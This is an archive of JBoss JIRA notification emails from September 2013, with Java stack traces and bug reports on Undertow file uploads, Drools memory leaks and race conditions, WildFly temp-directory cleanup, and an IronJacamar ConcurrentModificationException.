> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> 22:46:04,344 ERROR [io.undertow.request] (default task-3) Servlet request failed HttpServerExchange{ POST /doctor/doctorUpdates.xhtml}: javax.servlet.ServletException: UT000017: Form value is a file, use getFile() instead
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
> 	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
> 	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	... 42 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 14 23:45:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sat, 14 Sep 2013 23:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-261) ActivationTimerJob throws NPE
In-Reply-To: <JIRA.12500722.1379216649748@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500722.1379216649748@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500722.1379216649748.26646.1379216703904@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-261:
-------------------------------------

             Summary: ActivationTimerJob throws NPE
                 Key: DROOLS-261
                 URL: https://issues.jboss.org/browse/DROOLS-261
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Blocker
             Fix For: 5.5.1.Final


In a multithread environment, scheduled activations may be preempted by expirations. A critical race causes an exception in Scheduler.ActivationTimerJob#94

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 00:09:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 15 Sep 2013 00:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-262) Possible Memory Leak in
 sliding length window
In-Reply-To: <JIRA.12500723.1379218064528@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500723.1379218064528@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500723.1379218064528.26649.1379218143460@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-262:
-------------------------------------

             Summary: Possible Memory Leak in sliding length window
                 Key: DROOLS-262
                 URL: https://issues.jboss.org/browse/DROOLS-262
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor


"Expired" handles are not removed from the event memory 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 02:36:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 15 Sep 2013 02:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-263) Possible memory leak
 insliding temporal windows
In-Reply-To: <JIRA.12500724.1379226950442@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500724.1379226950442@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500724.1379226950442.26664.1379226963609@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-263:
-------------------------------------

             Summary: Possible memory leak insliding  temporal windows
                 Key: DROOLS-263
                 URL: https://issues.jboss.org/browse/DROOLS-263
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Blocker


When an event is asserted and a temporal window is present, it will be cached in the window's memory and then propagated (usually to an accumulate) by a propagationQuquingNode.
If the even expires before it participates in a tuple (in a multi-threading environment), the WM retraction will not reach the window node due to the lack of tuples. BUT,  it will set the fact handle's ID to -1
When the fact is considered for expiration from the sliding window, its changed ID will 1) disrupt the local event queue and 2) prevent it from being removed from the node memory.
Memory leaks and NPEs will arise randomly

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 07:33:04 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Sun, 15 Sep 2013 07:33:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.26684.1379244784653@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804322#comment-12804322 ] 

jaikiran pai commented on WFLY-1547:
------------------------------------

Just for future reference - the fix now cleans up the stale tmp/vfs directories when the server is restarted. This is done in a background thread in such a way that the other server startup tasks aren't affected and can immediately continue using the tmp/vfs folder for new contents. The change involves a new API in VFS (3.2.1.Final) and a change in the WildFly code to use that new API. Please refer the pull requests for the exact changes.

                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 08:32:03 2013
From: jira-events at lists.jboss.org (James Olsen (JIRA))
Date: Sun, 15 Sep 2013 08:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-933) IronJacamarResourceCreator
 Throws ConcurrentModificationException
In-Reply-To: <JIRA.12480321.1354548224000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12480321.1354548224000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12480321.1354548224000.26691.1379248323509@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-933?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804324#comment-12804324 ] 

James Olsen commented on JBJCA-933:
-----------------------------------

Spoke too soon.  This just happened again today in wildfly-8.0.0.Beta1-SNAPSHOT (IronJacamar 1.1.0.Final).  Line numbers differ slightly from earlier versions:

13:12:34,710 ERROR [org.jboss.msc.service] (MSC service thread 1-10) MSC000002: Invocation of listener "org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1 at e7b3aee" failed: java.util.ConcurrentModificationException
	at java.util.HashMap$HashIterator.nextEntry(HashMap.java:894) [rt.jar:1.7.0_25]
	at java.util.HashMap$KeyIterator.next(HashMap.java:928) [rt.jar:1.7.0_25]
	at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.getIronJacamarResource(IronJacamarResourceCreator.java:335) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.execute(IronJacamarResourceCreator.java:350) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1.registerIronjacamar(ParsedRaDeploymentProcessor.java:145) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.connector.deployers.ra.processors.AbstractResourceAdapterDeploymentServiceListener.transition(AbstractResourceAdapterDeploymentServiceListener.java:244) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.msc.service.ServiceControllerImpl.invokeListener(ServiceControllerImpl.java:1533) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl.access$2800(ServiceControllerImpl.java:51) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$ListenerTask.run(ServiceControllerImpl.java:2095) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]

                
> IronJacamarResourceCreator Throws ConcurrentModificationException
> -----------------------------------------------------------------
>
>                 Key: JBJCA-933
>                 URL: https://issues.jboss.org/browse/JBJCA-933
>             Project: IronJacamar
>          Issue Type: Bug
>    Affects Versions: 1.0.12.Final
>            Reporter: James Olsen
>            Assignee: Jesper Pedersen
>
> I am deploying three RARs in the same EAR and regularly get the exception shown below.
> 14:56:41,913 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.EAR:main" from Service Module Loader
> 14:56:42,018 INFO  [org.jboss.as.osgi] (MSC service thread 1-8) JBAS011907: Register module: Module "deployment.EAR.XXX.rar:main" from Service Module Loader
> 14:56:42,037 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-7) JBAS010406: Registered connection factory java:/eis/XXX
> 14:56:42,045 INFO  [com.xxx.XXXResourceAdapter] (MSC service thread 1-7) #start
> 14:56:42,047 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-7) IJ020002: Deployed: XXX
> 14:56:42,055 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/XXX]
> 14:56:42,057 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.EAR.YYY.rar:main" from Service Module Loader
> 14:56:42,071 INFO  [org.jboss.as.osgi] (MSC service thread 1-5) JBAS011907: Register module: Module "deployment.EAR.ZZZ.rar:main" from Service Module Loader
> 14:56:42,148 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-8) JBAS010406: Registered connection factory java:/eis/ZZZ
> 14:56:42,150 INFO  [com.yyy.YYYResourceAdapter] (MSC service thread 1-8) #start
> 14:56:42,161 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-8) IJ020002: Deployed: ZZZ
> 14:56:42,167 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/ZZZ]
> 14:56:42,173 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-6) JBAS010406: Registered connection factory java:/eis/YYY
> 14:56:42,176 INFO  [com.zzz.ZZZResourceAdapter] (MSC service thread 1-6) #start
> 14:56:42,177 ERROR [org.jboss.msc.service] (MSC service thread 1-7) MSC00002: Invocation of listener "org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1 at 21641d7d" failed: java.util.ConcurrentModificationException
> 	at java.util.HashMap$HashIterator.nextEntry(HashMap.java:894) [rt.jar:1.7.0_09]
> 	at java.util.HashMap$KeyIterator.next(HashMap.java:928) [rt.jar:1.7.0_09]
> 	at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.getIronJacamarResource(IronJacamarResourceCreator.java:268) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.execute(IronJacamarResourceCreator.java:283) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1.registerIronjacamar(ParsedRaDeploymentProcessor.java:160) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.deployers.ra.processors.AbstractResourceAdapterDeploymentServiceListener.transition(AbstractResourceAdapterDeploymentServiceListener.java:153) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl.invokeListener(ServiceControllerImpl.java:1416) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl.access$2700(ServiceControllerImpl.java:49) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl$ListenerTask.run(ServiceControllerImpl.java:1954) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) [rt.jar:1.7.0_09]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) [rt.jar:1.7.0_09]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_09]
> 14:56:42,182 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) IJ020002: Deployed: YYY
> 14:56:42,190 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/YYY]
> I've replaced the real names of my components with XXX, YYY and ZZZ in a consistent way above.  The problem seems to be during the interleaving of YYY and ZZZ.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 15 08:40:03 2013
From: jira-events at lists.jboss.org (James Olsen (JIRA))
Date: Sun, 15 Sep 2013 08:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-933) IronJacamarResourceCreator
 Throws ConcurrentModificationException
In-Reply-To: <JIRA.12480321.1354548224000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12480321.1354548224000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12480321.1354548224000.26695.1379248803524@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-933?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

James Olsen reopened JBJCA-933:
-------------------------------



